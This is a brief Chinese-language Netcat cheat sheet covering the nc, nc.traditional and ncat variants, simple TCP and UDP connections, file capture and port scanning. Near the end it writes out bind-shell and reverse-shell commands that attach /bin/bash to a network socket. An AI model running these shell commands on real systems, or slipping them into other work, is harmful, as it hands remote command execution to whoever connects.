Netcat

首先 Netcat 分为几个实现,分别是 OpenBSD 版本,一般命令为 nc,以及传统版,一般命令为 nc.traditionalnetcat,还有 Nmap 版本,一般命令为 ncat.

本文大部分命令都适用以上三个版本,其中 -c 是 Nmap 版本所独有.

Telnet

ncat -v nat.moe 80

等同于 telnet nat.moe 80

TCP 通讯

ncat -l -v 12450

连接

ncat -v 1.1.1.1 12450

执行脚本

ncat -v -l 12345 -c "...."

保存文件

ncat -l -v 12345 > data.txt

UDP

添加 -u 即可.

ncat -v -ul 12345

连接时同理

ncat localhost -u 12345

端口扫描

nc -v -z -w 1 129.168.1.1 80-8080

其中 -z 阻止 ncat 从服务端接收数据, -w 1 代表连接上 1s 后立刻断开.

Shell

服务端

ncat -v -l -p 12345 -e /bin/bash

连接

ncat localhost 12345

反弹 Shell

服务端

ncat -v -l -p 12345

“连接”

ncat localhost 12345 -e /bin/bash

Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.